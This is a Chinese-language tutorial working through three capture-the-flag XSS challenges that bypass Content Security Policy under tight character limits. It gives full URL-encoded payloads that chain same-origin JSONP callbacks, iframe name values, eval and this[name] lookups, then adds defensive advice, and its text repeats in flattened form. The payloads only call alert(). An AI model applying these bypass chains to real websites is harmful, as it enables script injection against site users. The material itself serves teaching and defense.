一些BAT的XSS实例(八)CSP篇
字数 1746 2025-08-26 22:11:45

XSS绕过CSP限制的高级技巧教学文档

前言

本教学文档基于BAT XSS实例系列中的CSP相关题目,详细讲解如何绕过内容安全策略(CSP)的限制实现XSS攻击。文档包含三个难度递增的题目解析,涵盖了CSP基础知识、字符长度限制下的代码构造技巧以及字符串转函数的高级方法。

一、CSP基础知识

1. 什么是CSP

内容安全策略(Content Security Policy)是一种额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本(XSS)和数据注入攻击等。

2. CSP的部署方式

  • Meta标签部署

    <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">
    
  • Iframe标签部署

    <iframe csp="default-src 'self'; script-src 'self'"></iframe>
    
  • HTTP响应头部署
    在PHP等服务器端代码中设置响应头:

    header("Content-Security-Policy: default-src 'self'; script-src 'self'");
    

3. CSP的限制作用

  • 禁止加载外部域资源
  • 禁止执行内联脚本
  • 禁止使用on*事件处理器
  • 限制eval等动态代码执行

二、题目解析

题目13:基础CSP绕过

题目特点

  • 允许加载同域资源
  • 字符长度限制:7个字符
  • 禁止eval等动态执行

解题思路

  1. 分析限制:CSP只允许加载当前域名的资源
  2. 寻找可控资源:题目中存在一个可写入7位字符的同域资源
  3. 分步构造
    • 第一个script标签:定义alert函数
    • 第二个script标签:调用alert(13)

有效Payload

http://px1624.sinaapp.com/test/xsstest13/?sss=111%3Cscript%20src=px.php?callback=a=alert%3E%3C/script%3E%3Cscript%20src=px.php?callback=a(13)%3E%3C/script%3E

技术要点

  • 利用同域可控资源绕过CSP
  • 分步构造突破字符长度限制

题目15:允许eval的CSP绕过

题目特点

  • 字符长度限制:6个字符
  • 允许eval使用
  • 其他限制同题目13

解题思路

  1. 利用eval特性:可以执行拼接的字符串代码
  2. 全局变量中转:使用iframe的name属性存储函数名
  3. 分步拼接执行
    • 第一步:定义eval函数
    • 第二步:获取name值
    • 第三步:执行eval(name)

有效Payload

<iframe name='alert(15)' src='http://px1624.sinaapp.com/test/xsstest15/?sss=%3Cscript+src=%22px.php?callback=a=eval%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=b=name%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=a(b)%22%3E%3C/script%3E'></iframe>

替代方案:字符串拼接

http://px1624.sinaapp.com/test/xsstest15/?sss=11%%3Cscript/src=px.php?callback=a=`al`%3E%3C/script%3E%3Cscript/src=px.php?callback=b=`er`%3E%3C/script%3E%3Cscript/src=px.php?callback=c=`t(`%3E%3C/script%3E%3Cscript/src=px.php?callback=d=`15`%3E%3C/script%3E%3Cscript/src=px.php?callback=e=`)`%3E%3C/script%3E%3Cscript/src=px.php?callback=f=a%252Bb%3E%3C/script%3E%3Cscript/src=px.php?callback=g=c%252Bd%3E%3C/script%3E%3Cscript/src=px.php?callback=h=f%252Bg%3E%3C/script%3E%3Cscript/src=px.php?callback=i=h%252Be%3E%3C/script%3E%3Cscript/src=px.php?callback=j=eval%3E%3C/script%3E%3Cscript/src=px.php?callback=c=j(i)%3E%3C/script%3E

技术要点

  • 利用iframe的name属性作为全局变量存储
  • 多步拼接构造完整函数调用
  • URL编码处理特殊字符(+需要双重编码)

题目16:严格CSP绕过

题目特点

  • 字符长度限制:6个字符
  • 禁止eval使用
  • 其他限制同前

解题思路

  1. 字符串转函数:不使用eval的情况下将字符串转为可执行函数
  2. 对象属性访问:通过对象属性访问方式获取函数
    • this["alert"] 等价于 alert
    • self["alert"] 等价于 alert
  3. 分步构造
    • 第一步:构造"alert"字符串
    • 第二步:获取全局对象(this/self)
    • 第三步:通过属性访问获取函数
    • 第四步:执行函数

有效Payload

<iframe name='alert' src='http://px1624.sinaapp.com/test/xsstest16/?sss=%3Cscript+src=%22px.php?callback=a=name%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=b=this%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=c=b[a]%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=c(16)%22%3E%3C/script%3E'></iframe>

替代方案:字符串拼接

http://px1624.sinaapp.com/test/xsstest16/?sss=%3Cscript+src=%22px.php?callback=a=%27al%27%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=a%252b=%27e%27%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=a%252b=%27r%27%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=a%252b=%27t%27%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=b=self%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=c=b[a]%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=c`16`%22%3E%3C/script%3E

技术要点

  • 使用对象属性访问替代eval
  • 分步构造字符串和函数
  • 模板字符串调用函数

三、高级技巧总结

1. 字符串转函数的方法

  • 对象属性访问

    this["alert"]("test")  // 等价于 alert("test")
    self["alert"]("test")  // 等价于 alert("test")
    
  • Function构造函数

    new Function("alert('test')")()
    
  • setTimeout/setInterval

    setTimeout("alert('test')",0)
    

2. 字符长度限制下的构造技巧

  • 分步赋值:将长代码拆分为多个短片段
  • 全局变量中转:利用name、location等全局属性存储中间值
  • 字符串拼接:逐步构建所需字符串
  • URL编码处理:特殊字符需要双重编码

3. 外部JS文件加载技巧

当题目要求必须调用外部JS文件时,可以:

  1. 构造一个同域的可控JS文件
  2. 使用多个短script标签分步加载
  3. 在JS文件中完成最终攻击代码

四、防御建议

  1. 严格CSP策略

    • 限制脚本来源为特定非可控域
    • 禁止unsafe-inline和unsafe-eval
  2. 输入过滤

    • 对用户输入进行严格过滤和转义
    • 使用白名单机制限制允许的字符
  3. 输出编码

    • 根据输出上下文进行适当的编码
    • HTML实体编码、JavaScript编码等
  4. 其他措施

    • 使用HttpOnly标志的Cookie
    • 实施X-XSS-Protection头
    • 考虑使用Trusted Types API

五、扩展思考

  1. 如何在更严格的字符限制下(如4个字符)实现XSS?
  2. 当完全禁止script标签时,有哪些替代方案?
  3. 如何利用SVG、MathML等非传统标签实现XSS?
  4. 在纯前端环境下,如何持久化XSS攻击?

本教学文档涵盖了XSS绕过CSP限制的核心技术,通过这三个难度递增的题目,学习者可以掌握从基础到高级的XSS攻击技巧及相应的防御策略。

XSS绕过CSP限制的高级技巧教学文档 前言 本教学文档基于BAT XSS实例系列中的CSP相关题目,详细讲解如何绕过内容安全策略(CSP)的限制实现XSS攻击。文档包含三个难度递增的题目解析,涵盖了CSP基础知识、字符长度限制下的代码构造技巧以及字符串转函数的高级方法。 一、CSP基础知识 1. 什么是CSP 内容安全策略(Content Security Policy)是一种额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本(XSS)和数据注入攻击等。 2. CSP的部署方式 Meta标签部署 : Iframe标签部署 : HTTP响应头部署 : 在PHP等服务器端代码中设置响应头: 3. CSP的限制作用 禁止加载外部域资源 禁止执行内联脚本 禁止使用on* 事件处理器 限制eval等动态代码执行 二、题目解析 题目13:基础CSP绕过 题目特点 允许加载同域资源 字符长度限制:7个字符 禁止eval等动态执行 解题思路 分析限制 :CSP只允许加载当前域名的资源 寻找可控资源 :题目中存在一个可写入7位字符的同域资源 分步构造 : 第一个script标签:定义alert函数 第二个script标签:调用alert(13) 有效Payload 技术要点 利用同域可控资源绕过CSP 分步构造突破字符长度限制 题目15:允许eval的CSP绕过 题目特点 字符长度限制:6个字符 允许eval使用 其他限制同题目13 解题思路 利用eval特性 :可以执行拼接的字符串代码 全局变量中转 :使用iframe的name属性存储函数名 分步拼接执行 : 第一步:定义eval函数 第二步:获取name值 第三步:执行eval(name) 有效Payload 替代方案:字符串拼接 技术要点 利用iframe的name属性作为全局变量存储 多步拼接构造完整函数调用 URL编码处理特殊字符(+需要双重编码) 题目16:严格CSP绕过 题目特点 字符长度限制:6个字符 禁止eval使用 其他限制同前 解题思路 字符串转函数 :不使用eval的情况下将字符串转为可执行函数 对象属性访问 :通过对象属性访问方式获取函数 this["alert"] 等价于 alert self["alert"] 等价于 alert 分步构造 : 第一步:构造"alert"字符串 第二步:获取全局对象(this/self) 第三步:通过属性访问获取函数 第四步:执行函数 有效Payload 替代方案:字符串拼接 技术要点 使用对象属性访问替代eval 分步构造字符串和函数 模板字符串调用函数 三、高级技巧总结 1. 字符串转函数的方法 对象属性访问 : Function构造函数 : setTimeout/setInterval : 2. 字符长度限制下的构造技巧 分步赋值 :将长代码拆分为多个短片段 全局变量中转 :利用name、location等全局属性存储中间值 字符串拼接 :逐步构建所需字符串 URL编码处理 :特殊字符需要双重编码 3. 外部JS文件加载技巧 当题目要求必须调用外部JS文件时,可以: 构造一个同域的可控JS文件 使用多个短script标签分步加载 在JS文件中完成最终攻击代码 四、防御建议 严格CSP策略 : 限制脚本来源为特定非可控域 禁止unsafe-inline和unsafe-eval 输入过滤 : 对用户输入进行严格过滤和转义 使用白名单机制限制允许的字符 输出编码 : 根据输出上下文进行适当的编码 HTML实体编码、JavaScript编码等 其他措施 : 使用HttpOnly标志的Cookie 实施X-XSS-Protection头 考虑使用Trusted Types API 五、扩展思考 如何在更严格的字符限制下(如4个字符)实现XSS? 当完全禁止script标签时,有哪些替代方案? 如何利用SVG、MathML等非传统标签实现XSS? 在纯前端环境下,如何持久化XSS攻击? 本教学文档涵盖了XSS绕过CSP限制的核心技术,通过这三个难度递增的题目,学习者可以掌握从基础到高级的XSS攻击技巧及相应的防御策略。